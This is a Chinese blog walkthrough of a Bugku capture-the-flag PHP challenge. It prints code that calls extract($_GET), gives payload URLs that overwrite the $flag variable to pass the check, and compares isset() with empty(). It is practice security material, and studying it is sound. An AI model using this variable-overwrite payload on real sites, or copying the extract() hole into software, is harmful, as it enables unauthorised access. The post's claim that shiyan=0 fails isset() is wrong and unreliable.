BUGKU代码审计之extract变量覆盖

本文深入解析PHP中isset与empty函数的区别,通过构造特定的payload,利用isset函数特性绕过条件判断,成功获取隐藏的Flag,揭示Web安全中的变量覆盖攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

话不多说直接上代码:

<?php
$flag='xxx';
extract($_GET);          //变量覆盖
if(isset($shiyan))         //shiyan这个变量一定要存在,说白了不能的等于0.
{
$content=trim(file_get_contents($flag));  
if($shiyan==$content)
{
echo'flag{xxx}';
}
else
{
echo'Oh.no';
}
}
?>

函数分析:
trim() 函数移除字符串两侧的空白字符或其他预定义字符。
file_get_contents() 函数把整个文件读入一个字符串中。这里一定要注意,如果文件不存在,此函数返回fales(0)。
接着我们构造payload:

http://123.206.87.240:9009/1.php?shiyan=0&flag=0 //很遗憾我们并没有爆出flag

这是因为我们虽然满足了shiyan=content的值,但是当shiyan=0的时候,if(isset($shiyan)) 这条语句就不过关。
所以我们构造以下payload:

http://123.206.87.240:9009/1.php?shiyan=&flag=xxxx.txt

只要是flag的值是一个不存在的文件,content的值就为0.所以这里我们可以把shiyan的值设置为空。
在这里大家可能会有一个疑惑就是:既然shiyan等于空,那个isset这个函数就会返回一个false,就不能执行第一个if了,为何还能爆出flag?
这里我们有必要解释一下两个php函数:
isset()函数
isset函数判断变量是否存在

<?php

$a = '';

var_dump(isset($a)); //结果返回ture
<?php

$a = '';

var_dump(isset($x));//结果返回false

由此可以看出isset这个函数只是检查变量是否存在,与变量的值无关。
总结1:PHP中isset函数是用来检测变量是否存在已设置并且非 NULL。如果某个变量存在并且值不是 NULL 则返回 TRUE,否则返回 FALSE。
empty()函数
判断变量是否为空

<?php

$a = '';

var_dump(empty($a));a为空结果返回true
<?php

$a = ' ';//此处有空格

var_dump(empty($a)); a变量非空非零,结果返回false

总结2:PHP中empty函数是用来检查一个变量是否为空的。当某个变量存在并且是一个非空非零的值时返回 FALSE 否则返回 TRUE.

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值